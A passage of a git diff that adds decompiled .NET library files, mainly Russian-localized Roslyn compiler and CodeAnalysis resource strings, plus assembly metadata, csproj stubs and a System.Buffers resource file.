Дерево выражения не может содержать выражение анонимного метода. + лямбда-выражение + Параметр записан в состоянии включающего типа, а его значение также передается базовому конструктору. Значение также может быть записано базовым классом. + Требуется определение типа или пространства имен, либо признак конца файла. + Строковая константа без признака завершения + Недопустимый тип ограничения. Тип, использованный в качестве ограничения, должен быть интерфейсом, незапечатанным классом или параметром-типом. + Второй операнд оператора "is" или "as" не может иметь статический тип + Выражение будет всегда вызывать исключение System.NullReferenceException, так как значение по умолчанию для типа равно NULL + UnscopedRefAttribute не может применяться к реализации интерфейса. + Ни "is", ни "as" недопустимы в типах указателей. + Параметр типа имеет то же имя, что и параметр, указанный во внешнем типе + Недостаточно кавычек для литерала необработанной строки. + "{0}": совместимые с CLS интерфейсы должны иметь только совместимые с CLS члены. + Выражение анонимного метода не может быть преобразовано в дерево выражения. + Исходный файл указан несколько раз + Неверный синтаксис комментария. + Расширение "Добавление метода" не поддерживается для инициализатора коллекции в лямбда-выражении. + Атрибут "{0}" применим только для индексатора, который не является явным объявлением члена интерфейса. + "{0}" не является классом атрибута. + Тип не может быть использован как параметр типа в универсальном типе или методе. Допустимость значения NULL для аргумента типа не соответствует ограничению "notnull". + Невозможно использовать анонимный тип в константном выражении. + Выражения и операторы можно использовать только в теле метода. + ' {0} ' недопустим для 'использования статики'. Можно использовать только класс, структуру, интерфейс, перечисление, делегат или пространство имен. + Тип ограничения "{0}" несовместим с CLS. + Оператор "{0}" для операндов "{1}" и "{2}" является неоднозначным. + Аргумент типа "{0}" несовместим с CLS. + Параметр params должен быть одномерным массивом. + Точкой входа программы является глобальный код; игнорируется точка входа "{0}". + Не удается вызвать абстрактный член базового класса: '{0}' + Невозможно преобразовать Null к параметру типа "{0}", так как он может быть типом значения, не допускающим значения Null. Используйте вместо этого "default({0})". + Компонент не является частью стандартизированной спецификации ISO языка C# и может не приниматься другими компиляторами + "&" в группах методов не может использоваться в деревьях выражений + Локальная переменная, объявленная в операторе fixed, не может быть указателем на функцию. + Заданные типы параметров {0} и типы ссылок на параметры {1}. Эти массивы должны иметь одинаковую длину. + Невозможно вернуть по ссылке член локального элемента "{0}", так как это не локальная переменная ref + Поле, не допускающее значения NULL, должно содержать значение, отличное от NULL, при выходе из конструктора. Возможно, стоит объявить поле как допускающее значения NULL. + "{0}" не имеет базового класса и не может вызвать базовый конструктор. + Наиболее подходящий перегруженный метод для "{0}" имеет неправильную сигнатуру элемента инициализатора. Инициализируемый метод Add должен быть доступным методом экземпляра. + Указано общедоступное подписывание, для которого требуется открытый ключ, но он не указан. + Допустимость значений NULL для ссылочных типов в типе параметра не соответствует неявно реализованному элементу (возможно, из-за атрибутов допустимости значений NULL). + Допустимость значений NULL для ссылочных типов в типе возвращаемого значения не соответствует реализованному элементу "{0}" (возможно, из-за атрибутов допустимости значений NULL). + Требуется ")" + Не удалось найти исходный файл "{0}". + свойство + Недопустимое значение "{0}": "{1}" для C# {2}. Используйте версию языка "{3}" или более позднюю. + Невозможно вернуть "{0}" по ссылке, так как он доступен только для чтения + Невозможно использовать метод расширения с приемником в качестве целевого объекта оператора "&". + Применение класса CallerArgumentExpressionAttribute к параметру "{0}" ни к чему не приведет. Он переопределяется классом CallerFilePathAttribute. + Анонимная функция, преобразованная в делегата, возвращающего void, не может возвращать значение. + Запрещено использовать тип dynamic в шаблоне. + Невозможно использовать {0} "{1}" как значение ref или out, так как это переменная только для чтения + Непосредственный вызов деструкторов и функций object.Finalize запрещен. Рекомендуется вызов функции IDisposable.Dispose, если она доступна. + "{0}" не может реализовать элемент интерфейса "{1}" в типе "{2}", поскольку целевая среда выполнения не поддерживает статические абстрактные элементы в интерфейсах. + Невозможно перехватить метод " {0} " с перехватчиком " {1} ", поскольку подписи не совпадают. + Превышение допустимого числа символов в символьной константе. + SyntaxTree не входит в компиляцию + Заданы разные значения контрольной суммы #pragma + Значение SecurityAction "{0}" недопустимо для атрибута PrincipalPermission. + Неверный оператор объявления массива. Для объявления управляемого массива спецификатор ранга должен предшествовать идентификатору переменной. Чтобы объявить поле буфера фиксированного размера, перед типом поля используйте ключевое слово fixed. + В разделяемых объявлениях "{0}" должны быть одинаковыми имена параметров типов, модификаторы вариантности и их порядок. + "{0}" не может наследовать от специального класса "{1}". + Поскольку "{0}" является асинхронным методом, возвращающим "{1}", за ключевым словом return не может следовать выражение объекта + Невозможно использовать "{0}" как значение ref или out, так как он доступен только для чтения + Инициализатор объекта или коллекции неявно разыменовывает член "{0}", который может быть равен NULL. + Не удалось найти реализацию шаблона запроса для исходного типа "{0}". "{1}" не найден. + CallerMemberNameAttribute можно применять только к параметрам со значениями по умолчанию. + Тип конфликтует с импортированным пространством имен + Комментарий XML имеет тег param для "{0}", но параметр с таким именем отсутствует. + Параметр типа имеет то же имя, что и параметр типа во внешнем методе. + Параметр "{0}" явно не указан, но он используется в качестве аргумента для преобразования обработчика интерполированной строки в параметре "{1}". Укажите значение "{0}" перед "{1}". + Отсутствует комментарий XML для открытого видимого типа или члена + Сборка "{0}", содержащая тип "{1}", ссылается на платформу .NET Framework, которая не поддерживается. + Сравнение с константой интеграции бесполезно: константа находится за пределами диапазона типа + Тип не может быть использован как параметр типа в универсальном типе или методе. Допустимость значения NULL для аргумента типа не соответствует типу ограничения. + Тип определяет оператор == или оператор !=, но не переопределяет Object.GetHashCode() + Вместо атрибута будет использоваться экземпляр, отображающийся в источнике + Не удалось открыть исходный файл "{0}" — {1}. + Атрибут "{0}" не допускается для этого типа объявления. Он допустим только для объявлений "{1}". + Дерево выражений не может содержать назначение объединения со значением NULL. + Локальная переменная или параметр с именем "{0}" нельзя объявить в данной области, так как это имя используется во включающей локальной области для определения локальной переменной или параметра + "{0}" является типом "{1}". Значение по умолчанию для параметра, имеющее ссылочный тип, который отличается от string, может инициализироваться только значением Null. + Внедрение типов взаимодействия из сборки "{0}" невозможно, так как у нее отсутствует атрибут "{1}" или атрибут "{2}". + Допустимость значений NULL для ссылочных типов в типе параметра "{0}" объекта "{1}" не соответствует целевому объекту делегирования "{2}" (возможно, из-за атрибутов допустимости значений NULL). + Тип ограничения "{0}" несовместим с CLS. + Конструкция обработчика интерполированных строк не может использовать dynamic. Создайте экземпляр "{0}" вручную. + Статическому полю или свойству "{0}" не может быть присвоено значение внутри инициализатора объекта. + Повторяющийся атрибут "{0}" + Атрибут "{0}" допустим только для классов, наследуемых из System.Attribute. + Ветви условного оператора ref ссылаются на переменные с несовместимыми областями объявления. + Неожиданная последовательность символов "…" + Допустимость значения NULL в ограничениях для параметра типа "{0}" метода "{1}" не соответствует ограничениям параметра типа "{2}" метода интерфейса "{3}". Рассмотрите возможность явной реализации интерфейса. + Сравнение со значением NULL или типом структуры всегда вызывает false + Атрибут RequiredAttribute не разрешен для типов C#. + Допускается использование только 65 534 локальных переменных с учетом тех, которые были созданы компилятором. + Непостоянное поле обычно не должно использоваться в качестве значения ref или out, так как оно не будет считаться непостоянным. Существуют исключения, например при вызове заблокированного API. + Допустимость значения NULL для ссылочных типов в типе не совпадает с переопределенным членом. + Не удается внедрить тип взаимодействия "{0}", находящийся в обеих сборках "{1}" и "{2}". Попробуйте задать свойству "Внедрить типы взаимодействия" значение False. + слишком длинный или недопустимый путь. + '{1} {0}" имеет неправильный возвращаемый тип. + Элемент должен иметь значение, отличное от NULL, при выходе в определенном состоянии. + Допустимость значения NULL для ссылочных типов в типе параметра "{0}" не совпадает с реализованным членом "{1}". + Тип не реализует шаблон коллекции: член содержит неправильную подпись + async main + Член "{0}" не найден в типе "{1}" из сборки "{2}". + Конечный тег в этом месте не ожидался. + "{1}": не может быть производным от статического класса "{0}" + Методы с атрибутом "UnmanagedCallersOnly" не могут иметь параметры универсального типа и не могут быть объявлены в универсальном типе. + Доступ к члену в "{0}" может вызвать исключение времени исполнения, поскольку он является полем класса, который маршалируется по ссылке. + Требуется выражение. + Дружественный доступ предоставлен "{0}", однако открытый ключ выходной сборки ("{1}") не соответствует ключу, определенному атрибутом InternalsVisibleTo предоставляющей сборки. + "{0}" является типом, который не поддерживается в данном языке. + Метод инициализатора модуля "{0}" должен быть статическим, не должен быть виртуальным, у него не должно быть параметров, он должен возвращать "void" + Чтобы возвращать "{1}", метод "{0}" с блоком итератора должен быть асинхронным ("async"). + Выражение должно быть неявно преобразуемым в логическое значение, или его тип "{0}" должен определять оператор "{1}". + Объект может быть освобожден несколько раз + Применение CallerMemberNameAttribute к параметру "{0}" ни к чему не приведет. Он переопределяется с помощью CallerLineNumberAttribute. + Ссылка на сборку недопустима и не может быть разрешена + Параметр для операторов ++ и -- должен иметь вмещающий тип. + Используется автоматически реализуемое свойство "{0}", которое может быть не назначено. Попробуйте обновить до языковой версии "{1}", чтобы автоматически применить значения по умолчанию к этому полю. + Преобразование литерала, допускающего значение NULL или возможного значения NULL в тип, не допускающий значение NULL. + Не удалось найти значение RuntimeMetadataVersion + Для нестатического поля, метода или свойства "{0}" требуется ссылка на объект. + Не удается вернуть элемент параметра "{0}" с помощью параметра ref, его можно вернуть только в операторе return + Тип или член не может быть помечен как совместимый с CLS, так как сборка не содержит атрибут CLSCompliant + Атрибут AsyncMethodBuilder запрещен для анонимных методов без явного типа возвращаемого значения. + Преобразование группы методов в незаменямый тип + "{0}": возвращаемый тип должен быть "{2}", чтобы соответствовать переопределенному члену "{1}". + Переменную using невозможно использовать напрямую в разделе switch (рекомендуется использовать скобки). + Отправка может иметь максимум одно синтаксическое дерево. + Нет перегруженного метода для "{0}", который соответствует делегату "{1}". + Идентификатор "{0}" является неоднозначным между типом "{1}" и параметром "{2}" в этом контексте. + Недопустимый тип параметра в атрибуте cref комментария XML + Имя "{0}" не определяет элемент кортежа "{1}". + Невозможно указать атрибут DefaultMember для типа, содержащего индексатор. + Уровень предупреждений должен быть неотрицательным. + индексатор, воплощающий выражение + Локальная функция "{0}" должна объявить тело, так как она не помечена как "static extern". + Параметр {0} имеет значение по умолчанию "{1:10}" в лямбде, но "{2:10}" в типе целевого делегата. + "{0}": не может наследовать от динамического типа. + Разделяемый метод "{0}" должен иметь модификаторы доступа, так как он возвращает значение, отличное от void. + Лямбда-выражение дерева выражений не может содержать объединяющий оператор с литералом NULL или литералом по умолчанию в качестве левого операнда. + "{0}": тип, используемый в асинхронном операторе using, должен допускать неявное преобразование в тип "System.IAsyncDisposable" или реализовывать подходящий метод "DisposeAsync". + Синтаксическая ошибка, требуется "{0}" + "{2}" не соответствует ограничению "new()" параметра "{1}" в универсальном типе или методе "{0}", поскольку у "{2}" есть обязательные элементы. + Выражение switch не обрабатывает некоторые типы входных значений, в том числе неименованное значение перечисления (не является исчерпывающим). Например, не охвачен шаблон "{0}". + Аргумент типа "{0}" запрещено использовать для параметра "{2}" типа "{1}" в "{3}" из-за различий в отношении допустимости значений NULL для ссылочных типов. + Нераспознанное расположение атрибута + Использование результата "{0}" в этом контексте может представить переменные, на которые ссылается параметр "{1}", за пределами области их объявления + Инициализатор элемента не может быть пустым. + Вызов члена "{0}", не являющегося доступным только для чтения, из члена readonly приводит к появлению неявной копии "{1}". + Тип выражения в предложении {0} неверен. Ошибка определения типа при вызове в "{1}". + фильтр исключений + По крайней мере один оператор верхнего уровня не должен быть пустым. + Несогласованные ограничения для параметра типа "{1}" в частичных объявлениях метода "{0}". + \ No newline at end of file diff --git a/decompiled/Libraries/ru.microsoft.codeanalysis.csharp.resources/Properties/AssemblyInfo.cs b/decompiled/Libraries/ru.microsoft.codeanalysis.csharp.resources/Properties/AssemblyInfo.cs new file mode 100644 index 0000000..f1cc5cb --- /dev/null +++ b/decompiled/Libraries/ru.microsoft.codeanalysis.csharp.resources/Properties/AssemblyInfo.cs @@ -0,0 +1,11 @@ +using System.Diagnostics; +using System.Reflection; +using System.Runtime.CompilerServices; + +[assembly: AssemblyCompany("Microsoft Corporation")] +[assembly: AssemblyCopyright("© Microsoft Corporation. All rights reserved.")] +[assembly: AssemblyFileVersion("4.800.23.55801")] +[assembly: AssemblyInformationalVersion("4.8.0-7.23558.1+e091728607ca0fc9efca55ccfb3e59259c6b5a0a")] +[assembly: AssemblyProduct("Microsoft.CodeAnalysis.CSharp")] +[assembly: AssemblyTitle("Microsoft.CodeAnalysis.CSharp")] +[assembly: AssemblyVersion("4.8.0.0")] diff --git a/decompiled/Libraries/ru.microsoft.codeanalysis.csharp.resources/costura.ru.microsoft.codeanalysis.csharp.resources.csproj b/decompiled/Libraries/ru.microsoft.codeanalysis.csharp.resources/costura.ru.microsoft.codeanalysis.csharp.resources.csproj new file mode 100644 index 0000000..5be603d --- /dev/null +++ b/decompiled/Libraries/ru.microsoft.codeanalysis.csharp.resources/costura.ru.microsoft.codeanalysis.csharp.resources.csproj @@ -0,0 +1,17 @@ + + + Microsoft.CodeAnalysis.CSharp.resources + False + netstandard2.0 + + + 14.0 + True + False + + + + + + + \ No newline at end of file diff --git a/decompiled/Libraries/ru.microsoft.codeanalysis.resources/Microsoft.CodeAnalysis.CodeAnalysisResources.ru.resx b/decompiled/Libraries/ru.microsoft.codeanalysis.resources/Microsoft.CodeAnalysis.CodeAnalysisResources.ru.resx new file mode 100644 index 0000000..03e1c6c --- /dev/null +++ b/decompiled/Libraries/ru.microsoft.codeanalysis.resources/Microsoft.CodeAnalysis.CodeAnalysisResources.ru.resx @@ -0,0 +1,248 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +text/microsoft-resx1.3System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089struct + требуется элемент + Образ среды предустановки недоступен. + Недопустимый размер токена открытого ключа. + Дополнительный файл не принадлежит базовому элементу "CompilationWithAnalyzers". + В нескольких файлах конфигурации глобального анализатора установлен один и тот же ключ "{0}" в разделе "{1}". Установка этого ключа отменена. Ключ был установлен в следующих файлах: "{2}" + Временный путь для подписи устаревших файлов недоступен. + событие + Сборка, содержащая тип "{0}", ссылается на платформу .NET Framework, которая не поддерживается. + Ссылка на сборку: ' {0} ' + Предоставляет IVT текущей сборке: {1} + Предоставляет IVT: + Анализатор "{0}" содержит дескриптор null в разделе "SupportedDiagnostics". + Параметр "{0}" должен быть символом из этой компиляции или из другой сборки, на которую она ссылается. + Несогласованные языковые версии + Сопоставитель ссылок должен возвращать доступный для чтения поток, отличный от NULL. + Недопустимые параметры компиляции — сообщение не может быть подписано. + Ключ в pathMap пуст. + Недопустимая серьезность в файле конфигурации анализатора. + Файл набора правил содержит повторяющиеся правила для "{0}" с разными действиями, "{1}" и "{2}". + тип должен быть подклассом SyntaxAnnotation. + Слишком большое значение для представления в виде 30-разрядного целого числа без знака. + Не удается использовать псевдоним для модуля. + Недопустимые символы в названии языка и региональных параметров сборки + модуль + метод + Модуль записи PDB в Windows не поддерживает детерминированную компиляцию: "{0}" + Анализатор + Параметр "{0}" должен представлять собой "INamedTypeSymbol" или "IAssemblySymbol". + Отключите следующую диагностику, чтобы отключить этот анализатор: {0} + класс + Предупреждение! Не удалось включить многоядерную процедуру JIT из-за исключения: {0}. + Внедренный текст поддерживается только при создании PDB-файла. + Копию модуля нельзя использовать для создания метаданных сборки. + Имя раздела конфигурации глобального анализатора "{0}" недопустимо, так как не является абсолютным путем. Раздел будет проигнорирован. Раздел объявлен в файле: "{1}". + Формат потока значков отличается от ожидаемого. + Для диагностики "{0}" указана недопустимая серьезность "{1}" в файле конфигурации анализатора в "{2}". + Имя сборки: ' {0} ' + Открытые ключи: + Файл не найден. + Атрибут {0} имеет недопустимое значение {1}. + Ресурсы Win32, для которых предполагается использование формата объекта COFF, имеют недопустимый размер раздела. + SourceText с hintName "{0}" должен иметь явный набор кодировок. + Нераспознанный формат файла ресурса. + параметр + свойство, индексатор + У элемента {0} отсутствует атрибут с именем {1}. + Не найдена ссылка MetadataReference "{0}" для удаления. + В модуле метаданных "{0}" указано недопустимое имя модуля: "{1}" + Имя содержит недопустимые символы. + Для данного параметра невозможно указать имя языка. + Поток PDB не должен предоставляться при внедрении PDB в поток PE. + Ничего + Не следует задавать поток PDB, если выводятся только метаданные. + hintName "{0}" содержит недопустимый символ "{1}" в позиции {2}. + Сбой драйвера анализатора + В нескольких файлах конфигурации глобального анализатора установлен один и тот же ключ. Установка этого ключа отменена. + Должно включать закрытые члены, если не выдается базовая сборка. + Аргументы для параметра "/keepalive" со значением ниже –1 являются недопустимыми. + Заданная операция имеет родительский элемент, отличный от NULL. + Имя раздела конфигурации глобального анализатора недопустимо, так как не является абсолютным путем. Раздел будет проигнорирован. + Ожидался абсолютный путь. + Недопустимые данные в смещении {0}: {1}{2}*{3}{4} + Не удается определить конкретную причину сбоя. + Ссылки на документы XML не поддерживаются. + Слишком длинный поток. + Возвращаемые данные не могут иметь следующий тип: значение, указатель, передача по ссылке или открытый универсальный тип + Базовый тип кортежа должен быть совместим с кортежами. + Возникло исключение со следующим контекстом: +{0} + Тип "{0}" не распознан модулем привязки сериализации. + Несогласованные компоненты синтаксического дерева + Не удается внедрить типы взаимодействия из модуля. + Невозможно внедрить SourceText. Укажите кодировку или аргумент canBeEmbedded=true во время создания. + Поток содержит недопустимые данные. + Время (с) + Модуль содержит недопустимые атрибуты. + Дерево синтаксиса не относится к базовому объекту "Compilation". + Недопустимый хэш. + 'Параметр "/keepalive" является допустимым только при использовании с параметром "/shared". + Включение частных членов не следует использовать при выводе в выходные данные вторичной сборки. + Печать информации «InternalsVisibleToAttribute» для текущей компиляции и всех связанных сборок. + Возвращаемый {0}.ResolveStrongNameKeyFile путь должен быть абсолютным: "{1}" + Не удалось найти файл наборов правил "{0}". + Подписывание сборок не поддерживается. + В отчете о диагностике "{0}" используется исходное расположение "{1}" в файле "{2}". Это расположение находится за пределами указанного файла. + Отслеживаемый узел не является потомком корня. + Заданный блок операции не принадлежит текущему контексту анализа. + Указанный элемент не является элементом списка. + делегат + Не удается сделать запись в данный поток. + Значение для аргумента /shared: не должно быть пустым + Считыватель десериализации для "{0}" считал неверное количество значений. + Анализатор "{0}" содержит дескриптор null в разделе "SupportedSuppressions". + Не удается создать ссылку на сообщение. + Возвращаемый {0}.ResolveMetadataFile путь должен быть абсолютным: "{1}" + Не разрешено: + Аргумент для параметра "/keepalive" не является 32-битным целым числом. + Диапазон не включает в себя начало строки. + Невозможно создать ссылку на метаданные в сборке без расположения. + Недопустимое название языка и региональных параметров: "{0}" + Недопустимый тип инструментирования: {0} + Кортежы должны содержать по меньшей мере два элемента. + Изменения должны идти в строгом порядке и не накладываться. + Сервер компиляции Roslyn сообщает о версии протокола, отличной от версии, которая указана в задаче сборки. + Общее время выполнения анализатора: {0} с. + Параметры компиляции не должны содержать ошибки. + Невозможно сериализовать тип "{0}". + Не следует задавать поток PE метаданных, если выводятся только метаданные. + Пустое или недопустимое имя ресурса + Возвращаемые данные не могут иметь следующий тип: недействительный, передача по ссылке или открытый универсальный тип + Модуль записи PDB в Windows не поддерживает функцию SourceLink: "{0}" + Недопустимый токен открытого ключа. + Диагностика "{0}: {1}" была программно подавлена DiagnosticSuppressor с ИД подавления "{2}" и обоснованием "{3}". + Отсутствует аргумент для параметра "/keepalive". + <модуль в памяти> + Генератор + Заданная операция имеет семантическую модель со значением NULL. + Версия модуля записи PDB Windows старше требуемой: "{0}" + Узел или токен находится за пределами последовательности. + Внедрение PDB запрещено при выводе метаданных. + Не удается создать ссылку метаданных на динамическую сборку. + Подавленный идентификатор диагностики "{0}" не соответствует подавленному идентификатору "{1}" для заданного дескриптора подавления. + Ресурсы Win32, для которых предполагается использование формата объекта COFF, имеют одно или несколько недопустимых значений символа. + Поток должен поддерживать операции чтения и поиска. + перечисление + В отчете о диагностике "{0}" используется исходное расположение "{1}", которое не входит в анализируемую компиляцию. + Поле + Имя не может быть пустым. + Общее время выполнения генератора: {0} с. + В ресурсах Win32, для которых предполагается использование формата объекта COFF, отсутствует один или оба раздела (".rsrc$01" и ".rsrc$02"). + Если указаны имена элементов кортежа, число имен элементов должно соответствовать кратности кортежа. + Операция "Изменить и продолжить" не может возобновить приостановленный итератор, поскольку соответствующий оператор yield return удален + Недопустимый тип содержимого + {0}.GetMetadata() должен возвращать экземпляр {1}. + Зарегистрированное диагностическое событие имеет идентификатор "{0}", который не является допустимым. + Не удается создать ссылку модуля на сборку. + Если указаны аннотации элементов кортежа, допускающих значения null, то число аннотаций должно соответствовать кратности кортежа. + Аргумент содержит дублирующиеся экземпляры анализатора. + Имя не может начинаться с пробела. + Массивы с несколькими измерениями нельзя сериализовать. + Изменение версии ссылки на сборку недопустимо во время отладки: "{0}" изменил версию на "{1}". + Зарегистрированное диагностическое событие с идентификатором "{0}" не поддерживается в анализаторе. + Для данного параметра необходимо указать имя языка. + Ожидается символ метода + Неподдерживаемый тип выходных данных. + требуется разделитель + Непредусмотренный тип узла в списке. + HintName "{0}" содержит недопустимый сегмент "{1}" в позиции {2}. + {0} должен иметь значение по умолчанию или быть той же длины, что и {1}. + Имя не может иметь значение null. + Изменения должны находиться в границах SourceText + Неподдерживаемый хэш-алгоритм. + Поставщик потока ресурса должен возвращать поток, отличный от NULL. + Идентификатор WindowsRuntime не может быть перенацеливаемым + Аргумент содержит экземпляр анализатора, который не относится к объекту "Analyzers" для этого экземпляра CompilationWithAnalyzers. + Не удается нацелиться на сетевой модуль при выводе базовой сборки. + Невозможно десериализовать тип "{0}". + Поток должен быть читаем. + интерфейс + Ресурсы Win32, для которых предполагается использование формата объекта COFF, имеют одно или несколько недопустимых значений заголовка перемещения. + Анализатор "{0}" создал исключение типа "{1}" с сообщением "{2}". +{3} + <сборка в памяти> + {0} и {1} должны иметь одинаковую длину. + HintName "{0}" добавленного исходного файла должно быть уникальным в пределах генератора. + Имя элемента кортежа не может быть пустой строкой. + Недопустимый тип выходных данных для сообщения. Ожидался DynamicallyLinkedLibrary. + SuppressionDescriptor должен иметь идентификатор, который не является значением NULL, пустой строкой или строкой, состоящей из одного пробела. + Поток должен быть доступен для записи. + Недопустимое имя сборки: "{0}" + Недопустимый псевдоним. + конструктор + Анализаторы не найдены + Сборка должна иметь хотя бы один модуль. + Операция "Изменить и продолжить" не может возобновить приостановленный асинхронный метод, поскольку соответствующее выражение await удалено + Поставщик данных ресурса должен возвращать поток, отличный от NULL + Невозможно подавить невыводимую диагностику с идентификатором "{0}". + Поток ресурсов закончился на {0} байт, ожидалось {1} байт. + Образ среды предустановки не содержит управляемые метаданные. + Пустое или недопустимое имя файла + возврат + Драйвер анализатора вызвал исключение типа "{0}" с сообщением "{1}". +{2} + Размер файла превышает максимально допустимый предел для файла метаданных. + Диапазон не включает в себя конец строки. + Предыдущее сообщение содержит ошибки. + Компиляция ссылается на несколько сборок, версии которых отличаются только номерами автоматически созданных сборок и (или) редакций. + Программное подавление диагностики анализатора + Файл сборки не найден + Недопустимый открытый ключ. + Не удается выполнить чтение из данного потока. + Ссылка типа "{0}" недопустима для этой компиляции. + Номер запрашиваемой строки {0} должен быть меньше числа строк {1}. + DiagnosticDescriptor должен иметь идентификатор, который не является значением NULL, пустой строкой или строкой, состоящей из одного пробела. + Зарегистрированное подавление с идентификатором "{0}" не поддерживается подавителем. + Указанная операция не может быть частью графа потока управления. + Для каждого генератора можно зарегистрировать только один {0}. + Тип должен совпадать с типом объекта базовой среды предыдущего сообщения. + Если указаны расположения элементов кортежа, число расположений и кортежей должно совпадать. + Текущая сборка: ' {0} ' + "{0}" не являлось допустимым именем встроенного оператора + Неподдерживаемый встроенный оператор: {0} + Недопустимое имя встроенного оператора "{0}" + Значение "end" не должно быть меньше, чем "start". start="{0}", end="{1}". + Не удается создать ссылку на модуль. + Сбой анализатора + Ожидался непустой открытый ключ + Произошла ошибка при загрузке включенного файла набора правил {0} — {1} + Недопустимые символы в имени сборки + ПРИМЕЧАНИЕ. Затраченное время может быть меньше времени выполнения анализатора, так как анализаторы могут выполняться параллельно. + Аргумент не может содержать элемент NULL. + Аргумент не может быть пустым. + сборка + параметр типа + 'начальное значение не должно быть отрицательным + Размер должен иметь положительное значение. + Значение в pathMap равно NULL. + \ No newline at end of file diff --git a/decompiled/Libraries/ru.microsoft.codeanalysis.resources/Microsoft.CodeAnalysis.Internal.Strings.ru.resx b/decompiled/Libraries/ru.microsoft.codeanalysis.resources/Microsoft.CodeAnalysis.Internal.Strings.ru.resx new file mode 100644 index 0000000..8959bca --- /dev/null +++ b/decompiled/Libraries/ru.microsoft.codeanalysis.resources/Microsoft.CodeAnalysis.Internal.Strings.ru.resx @@ -0,0 +1,59 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +text/microsoft-resx1.3System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089Нижняя граница целевого массива должна равняться нулю. + Тип целевого массива несовместим с типом элементов в коллекции. + Коллекция имела фиксированный размер. + Коллекция была изменена; невозможно выполнить операцию перечисления. + Число было меньше нижней границы массива в первом измерении. + Длина конечного массива недостаточна для копирования всех элементов коллекции. Проверьте индекс и длину массива. + Сбой при сравнении двух элементов массива. + Элемент с таким же ключом уже добавлен. Ключ: {0} + Число измерений заданных массивов должно совпадать. + Смещение и длина вышли за границы массива или значение счетчика превышает количество элементов от указателя до конца исходной коллекции. + Не удалось выполнить сортировку, поскольку метод IComparer.Compare() вернул несовместимые результаты. Значение не равно самому себе при сравнении, либо многократное сравнение одного значения с другим значением дает разные результаты. IComparer: "{0}". + Номер должен быть положительным и указывать на местоположение внутри строки/массива/коллекции. + Индекс за пределами диапазона. Индекс должен быть положительным числом, а его размер не должен превышать размер коллекции. + Объект не является массивом с тем же количество элементов, как сравниваемый массив. + емкость меньше текущего размера. + Для запрашиваемого действия поддерживаются только одномерные массивы. + Изменение коллекции значений, полученных из словаря, запрещено. + Больше размера коллекции. + Индекс должен находиться в границах этого списка. + Требуется неотрицательное число. + Не удается найти старое значение + Операции, которые изменяют коллекции, не обрабатываемые параллельно, должны иметь монопольный доступ. В этой коллекции было выполнено параллельное обновление, и ее состояние повреждено. Состояние коллекции больше не является достоверным. + Указанный ключ "{0}" отсутствует в словаре. + Изменение коллекции ключей, полученных из словаря, запрещено. + Длина результирующего массива недостаточна. Проверьте индекс, длину и нижние границы результирующего массива. + Хэш-таблица переполнена и ее емкость стала отрицательной. Проверьте коэффициент загрузки, емкость и текущий размер таблицы. + Длина исходного массива недостаточна. Проверьте индекс, длину и нижние границы исходного массива. + Типом значения "{0}" не является "{1}", поэтому оно не может быть использовано в данной базовой коллекции. + Перечисление не запущено или уже завершено. + \ No newline at end of file diff --git a/decompiled/Libraries/ru.microsoft.codeanalysis.resources/Properties/AssemblyInfo.cs b/decompiled/Libraries/ru.microsoft.codeanalysis.resources/Properties/AssemblyInfo.cs new file mode 100644 index 0000000..437c68c --- /dev/null +++ b/decompiled/Libraries/ru.microsoft.codeanalysis.resources/Properties/AssemblyInfo.cs @@ -0,0 +1,11 @@ +using System.Diagnostics; +using System.Reflection; +using System.Runtime.CompilerServices; + +[assembly: AssemblyCompany("Microsoft Corporation")] +[assembly: AssemblyCopyright("© Microsoft Corporation. All rights reserved.")] +[assembly: AssemblyFileVersion("4.800.23.55801")] +[assembly: AssemblyInformationalVersion("4.8.0-7.23558.1+e091728607ca0fc9efca55ccfb3e59259c6b5a0a")] +[assembly: AssemblyProduct("Microsoft.CodeAnalysis")] +[assembly: AssemblyTitle("Microsoft.CodeAnalysis")] +[assembly: AssemblyVersion("4.8.0.0")] diff --git a/decompiled/Libraries/ru.microsoft.codeanalysis.resources/costura.ru.microsoft.codeanalysis.resources.csproj b/decompiled/Libraries/ru.microsoft.codeanalysis.resources/costura.ru.microsoft.codeanalysis.resources.csproj new file mode 100644 index 0000000..8050a23 --- /dev/null +++ b/decompiled/Libraries/ru.microsoft.codeanalysis.resources/costura.ru.microsoft.codeanalysis.resources.csproj @@ -0,0 +1,17 @@ + + + Microsoft.CodeAnalysis.resources + False + netstandard2.0 + + + 14.0 + True + False + + + + + + + \ No newline at end of file diff --git a/decompiled/Libraries/system.buffers/.DS_Store b/decompiled/Libraries/system.buffers/.DS_Store new file mode 100644 index 0000000..35ffc79 Binary files /dev/null and b/decompiled/Libraries/system.buffers/.DS_Store differ diff --git a/decompiled/Libraries/system.buffers/FxResources.System.Buffers.SR.resx b/decompiled/Libraries/system.buffers/FxResources.System.Buffers.SR.resx new file mode 100644 index 0000000..966fd30 --- /dev/null +++ b/decompiled/Libraries/system.buffers/FxResources.System.Buffers.SR.resx @@ -0,0 +1,31 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +text/microsoft-resx1.3System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089The buffer is not associated with this pool and may not be returned to it. + \ No newline at end of file diff --git a/decompiled/Libraries/system.buffers/FxResources.System.Buffers/SR.cs b/decompiled/Libraries/system.buffers/FxResources.System.Buffers/SR.cs new file mode 100644 index 0000000..c830a9f --- /dev/null +++ b/decompiled/Libraries/system.buffers/FxResources.System.Buffers/SR.cs @@ -0,0 +1,5 @@ +namespace FxResources.System.Buffers; + +internal static class SR +{ +} diff --git a/decompiled/Libraries/system.buffers/Properties/AssemblyInfo.cs b/decompiled/Libraries/system.buffers/Properties/AssemblyInfo.cs new file mode 100644 index 0000000..2bdc047 --- /dev/null +++ b/decompiled/Libraries/system.buffers/Properties/AssemblyInfo.cs @@ -0,0 +1,22 @@ +using System; +using System.Diagnostics; +using System.Reflection; 